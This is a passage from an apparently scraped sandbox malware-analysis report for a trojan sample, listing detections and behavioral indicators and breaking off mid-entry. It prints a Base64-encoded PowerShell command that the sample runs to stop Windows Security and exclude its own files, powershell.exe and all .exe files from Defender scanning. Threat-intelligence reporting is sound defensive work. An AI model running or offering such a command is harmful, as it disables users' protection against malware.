21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 51:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4b3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample bfee25bffb87… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample bfee25bffb87…. Malware family: Trojan.Generic. Threat score 100/100. 14/26 AV engines flagged this file. 9 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b"],"about":{"@type":"SoftwareApplication","name":"1A1018D3DF57D0DC22F39B30B9D9A28E.exe","applicationCategory":["peexe","64bits","assembly","executable"],"identifier":"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":14,"total":26},"behavioralIndicators":{"malicious":9,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T743,-NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIAAnAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAHkAcwB0AHIAYQB5ACcAIAAtAEYAbwByAGMAZQANAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAYgBmAGUAZQAyADUAYgBmAGYAYgA4ADcANgBmAGMANQAyADIANAA2AGMAZgAzADUAZAA0ADEAYQAxADYAZQBkAGEAMAA1ADAAMABjADUAOQA1ADAAMQBkADYANAA1AGEAZQA1AGIAZAA1ADcAZABjADAAZAA5ADAAZQAzADgAYgAuAGUAeABlACcADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBXAGkAbgBkAG8AdwBzAC4AZQB4AGUAJwANAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIAAnAFcAQQBTAE4AcwBhAHkAYwBjAHMAdABlAG0ALgBlAHgAZQAnAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABGAEQAZwBwAFQATABNAFwAQQBwAHAARABhAHQAYQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAnAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABGAEQAZwBwAFQATABNAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAJwANAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwARgBEAGcAcABUAEwATQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnACcADQAKAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnACUAQQBwAHAARABhAHQAYQAlACcADQAKAA==23:T4c6,file/memory contains long string with (Indicator: "sendmessage"; File: "Windows.exe") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00007204-00000C2B-1967351080") Found reference to API "EnumWindowsW" (Indicator: "enumwindows"; Source: "00000000-00007204-00000C2B-1967351107") Found reference to API "SendMessageTimeout" (Indicator: "sendmessage"; Source: "00000000-00005044-00000C2B-1976903664") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00005044-00000C2B-1976903695") Found reference to API "FindWindow" (Indicator: "findwindow"; Source: "00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found reference to API "SendMessage" (Indicator: "sendmessage"; Source: "00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found reference to API "FindWindowEx" (Indicator: "findwindow"; Source: "00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00004196.00000001.190154.055A0000.00000004.mdmp")24:T81f,Observed unmanaged function "RtlZeroMemory" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "VirtualProtect" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "FindResource" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "VirtualAlloc" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "LoadLibrary" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "GetProcAddress" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "WriteProcessMemory" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "ReadProcessMemory" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "OpenProcess" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "CloseHandle" in "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" Observed unmanaged function "FindWindow" in "Windows.exe" Observed unmanaged function "ShowWindow" in "Windows.exe" Observed unmanaged function "SendMessageA" in "Windows.exe" Observed unmanaged function "IsIconic" in "Windows.exe" Observed unmanaged function "CallNextHookEx" in "Windows.exe" Observed unmanaged function "keybd_event" in "Windows.exe" Observed unmanaged function "GetModuleHandle" in "Windows.exe" Observed unmanaged function "SetWindowsHookEx" in "Windows.exe" Observed unmanaged function "UnhookWindowsHookEx" in "Windows.exe" Observed unmanaged function "SetWindowPos" in "Windows.exe" Observed unmanaged function "SendMessage" in "Windows.exe" Observed unmanaged function "capGetDriverDescriptionA" in "Windows.exe" Observed unmanaged function "GetForegroundWindow" in "Windows.exe" Observed unmanaged function "GetVolumeInformationA" in "Windows.exe"25:Tde9,"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\FLTLIB.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\BCRYPT.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\SHELL32.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\SSPICLI.DLL" "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" trying to access non-existent file "C:\SspiCli.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL"26:T516,Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "Close" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "set_ReceiveBufferSize" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "set_SendBufferSize" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Client" in "Windows.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "set_SendTimeout" in "Windows.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "set_ReceiveTimeout" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "Connect" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "get_Available" in "Windows.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Poll" in "Windows.exe" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "GetStream" in "Windows.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Receive" in "Windows.exe" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "Windows.exe"27:T1247,"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" queries volume information of "C:\bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" at 00000000-00004196-00000C17-1962129854 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1968151420 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007204-00000C17-1968392413 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007204-00000C17-1968981198 "powershell.exe" queries volume information of "C:\" at 00000000-00007204-00000C17-1969421064 "powershell.exe" queries volume information of "C:\share" at 00000000-00007204-00000C17-1969422682 "powershell.exe" queries volume information of "C:\share" at 00000000-00007204-00000C17-1969502366 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1970251840 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1970901379 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1970936669 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971299874 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971447539 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971485353 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971522637 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971560151 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971602402 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007204-00000C17-1971641010 "Windows.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\Windows.exe" at 00000000-00005044-00000C17-1975852157 "Windows.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll" at 00000000-00005044-00000C17-1976022949 "Windows.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00005044-00000C17-1976149851 "Windows.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00005044-00000C17-1977104975 "Windows.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00005044-00000C17-197808934728:T1055,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004196-00000C2D-1555559380] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004196-00000C2A-1961751709] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004196-00000C2A-1961856168] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004196-00000C2A-1961948828] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004196-00000C2A-1962099973] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004196-00000C2A-1962130945] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004196-00000C2A-1962186180] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00004196-00000C2A-1962291757] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004196-00000C2A-1962337096] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00004196-00000C2A-1962634140] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll" [Source: 00000000-00004196-00000C2A-1962678055] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll" [Source: 00000000-00004196-00000C2A-1962720481] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll" [Source: 00000000-00004196-00000C2A-1962758674] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00004196-00000C2A-1962845553] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004196-00000C2A-1963061408] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00007204-00000C2A-1965940022] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00007204-00000C2A-1966135229] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007204-00000C2A-1966425588] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007204-00000C2A-1966554300] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00007204-00000C2A-1966897597] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007204-00000C2A-1967177795] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007204-00000C2A-1967229956] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00007204-00000C2A-1967258390] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00007204-00000C2A-1967352876] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00007204-00000C2A-1967452991]29:Tc61,"bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\wlidnsp\* (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\* (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindNextFileW" with parameter fb4ba4db52ca77687f807bb068871ec2 (UID: 00000000-00004196) "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00004196)2a:T18d2,Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "bfee25bffb876fc52246cf35d41a16eda0500c59501d645ae5bd57dc0d90e38b.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "Windows.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "Windows.exe") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00004196.00000000.189581.055A0000.00000004.mdmp, 00000000-00004196.00000001.190154.055A0000.00000004.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00004196.00000000.189581.155A0000.00000004.mdmp, 00000000-00004196.00000001.190154.00E62000.00000002.mdmp, 00000000-00004196.00000001.190154.155A0000.00000004.mdmp") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; Source: 